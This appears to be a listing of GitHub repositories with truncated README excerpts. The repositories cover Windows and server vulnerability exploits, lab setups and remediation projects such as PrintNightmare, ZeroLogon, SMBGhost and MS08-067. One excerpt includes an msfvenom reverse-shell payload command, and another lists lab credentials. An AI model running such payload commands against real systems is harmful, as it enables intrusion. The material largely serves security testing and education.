ms08-067.py

📖 Overview This repository contains some python scripts implementation for the MS08-067 Windows Server Service vulnerability CVE-2008-4250. This is a classic remote code execution vulnerability affecting older Windows systems. 🛠️ Installation & Usage Prerequisites Python3 Authorized testing...

CVE-2021-1675---PrintNightmare-LPE-PowerShell-

CVE-2021-1675 - PrintNightmare LPE PowerShell Caleb Stewart | John Hammond | July 1, 2021 CVE-2021-1675 is a critical remote code execution and local privilege escalation vulnerability dubbed "PrintNightmare." Proof-of-concept exploits have been released Python, C++ for the remote code execution...

Penetration-Testing-Assessment-23-04-2026

Penetration Testing Report – IIS WebDAV Exploitation Overview This project demonstrates a complete penetration testing lifecycle performed on a vulnerable target system. The assessment follows a structured approach including reconnaissance, scanning, enumeration, exploitation, and...

WSUS-CVE-2025-59287

WSUS-CVE-2025-59287...

magicNetdefs

magicNetdfs Reference https://github.com/Wh04m1001/DFSCoerce Usage Further updates are being considered; for now this only verifies the exploitability of the RPC method. Specific exploitation of the SYSTEM token is planned for later. Description Utilizes the MS-DFSNM protocol...

CVE-2020-1472-LAB

ZeroLogon testing script A lab setup to test a vulnerability for the ZeroLogon exploit CVE-2020-1472. It contains a Python script that uses the Impacket library to test the vulnerability, and a Virtual Machine VM with Windows Server 2019 configured as a Domain Controller DC. The script attempts t...

CVE-2022-30136

CVE-2022-30136 Windows Network File System Remote exploit DoS PoC PoC: https://github.com/fortra/CVE-2022-30136 Details: https://www.coresecurity.com/core-l...136-windows-network-file-system-vulnerability Affected Products : Windows servers 2016, 2019...

SMBGhost_CVE-2020-0796_checker

SMBGhost Simple scanner for CVE-2020-0796 - SMBv3 RCE. The scanner is for meant only for testing whether a server is vulnerable. It is not meant for research or development, hence the fixed payload. It checks for SMB dialect 3.1.1 and compression capability through a negotiate request. A network...

CVE-2025-50154

NTLM/SMB Hardening & Threat Hunt Toolkit Author: w01f Version: 1.0 Purpose: Audit, harden, and hunt for insecure NTLM/SMB usage to mitigate risks such as CVE-2025-50154. CVE-2025-50154 Overview Severity: High Type: NTLM Credential Leak + Patch Bypass Zero-Click Affected: Windows 10/11, Windows...

CVE-2025-30397---Windows-Server-2025-JScript-RCE-Use-After-Free-

CVE-2025-30397---Windows-Server-2025-JScript-RCE-Use-After-Free Remote Code Execution via Use-After-Free in JScript.dll CVE-2025-30397 🧠 Description This repository contains a proof-of-concept PoC exploit for a Use-After-Free vulnerability in the JScript engine jscript.dll affecting Windows Serve...

CVE-2023-26360-RCE

CVE-2023-26360 - Remote Code Execution on ColdFusion 2021 Sometimes, the scripts don't work at first attempt. Try a few times to make it work How to execute Create a payload with msfvenom msfvenom -p java/shellreversetcp LHOST=192.168.56.1 LPORT=4444 file.java Starting server.py This server will...

cve-2023-29357-Sharepoint

CVE 2023 29357 Information SharePoint Target Windows Server 2016 with SharePoint 2019 Login : FSI\Administrateur Password : Admin123! IP : 192.168.56.4 Hostname : WIN-HEVUJ4GJMA6 Attacker Lubuntu Version 22.04.3 Login : fsi Password : Admin123! IP : 192.168.56.3 Setting up the test environment...

printnightmare-detection-mitigation-lab

PrintNightmare Detection and Mitigation Lab A sanitised academic case study demonstrating how a Windows domain lab was designed, monitored and hardened while investigating CVE-2021-34527 PrintNightmare in a controlled virtual environment. Safety note: This repository focuses on systems...

ms08-067

📖 Overview This repository contains a Metasploit module implementation for the MS08-067 Windows Server Service vulnerability CVE-2008-4250. This is a classic remote code execution vulnerability affecting older Windows systems. 🛠️ Installation & Usage Prerequisites Kali Linux Metasploit Framework...

CVE-2020-0796-POC

CVE-2020-0796-POC 受影响系统版本 漏洞不影响win7，漏洞影响Windows 10 1903之后的各个32位、64位版Windows，包括家用版、专业版、企业版、教育版。 Windows 10 Version 1903 for 32-bit Systems Windows 10 Version 1903 for x64-based Systems Windows 10 Version 1903 for ARM64-based Systems Windows Server, Version 1903 Server Core installation Windows 10...

CVE-2022-26923-rayng

Exploiting CVE-2022-26923: Certificate Authority Privilege Escalation Overview CVE-2022-26923 is a vulnerability in Active Directory Certificate Services AD CS that allows an attacker to escalate privileges by misusing certificate-based authentication. This guide outlines the steps to exploit thi...

CVE-2021-34527

CVE-2021-34527 CVE-2021-34527 is a critical remote code execution and local privilege escalation vulnerability dubbed "PrintNightmare." Proof-of-concept exploits have been released Python, C++ for the remote code execution capability, and a C rendition for local privilege escalation. I had not se...

Assignement_3-CVE-2017-7269

CVE-2017-7269 Name : Killian Munt-Buron and Naji Ullah Abbasi Description of the CVE CVE-2017-7269 is a buffer overflow vulnerability in Microsoft Windows Server 2003 R2. The vulnerability is in the ScStoragePathFromUrl function in the WebDAV. This vulnerability allows to execute arbitrary code v...

ZeroLogon-CVE-2020-1472-lab

ZeroLogon-CVE-2020-1472 Explanation and demonstration of the ZeroLogon CVE-2020-1472 vulnerability The purpose of this lab is strictly educational. Its execution is not recommended in production environments or those that do not belong to you. About the Vulnerability Context of the vulnerability...

Remediating-CVE-2013-3900-EnableCertPaddingCheck-

Remediation Report: CVE-2013-3900 on Windows Server 2019 Azure VM Remediating CVE-2013-3900 EnableCertPaddingCheck During an authenticated vulnerability scan using Tenable/ Nessus, I identified CVE-2013-3900 on my Windows Server 2019 Datacenter instance hosted in Microsoft Azure. The scan utilize...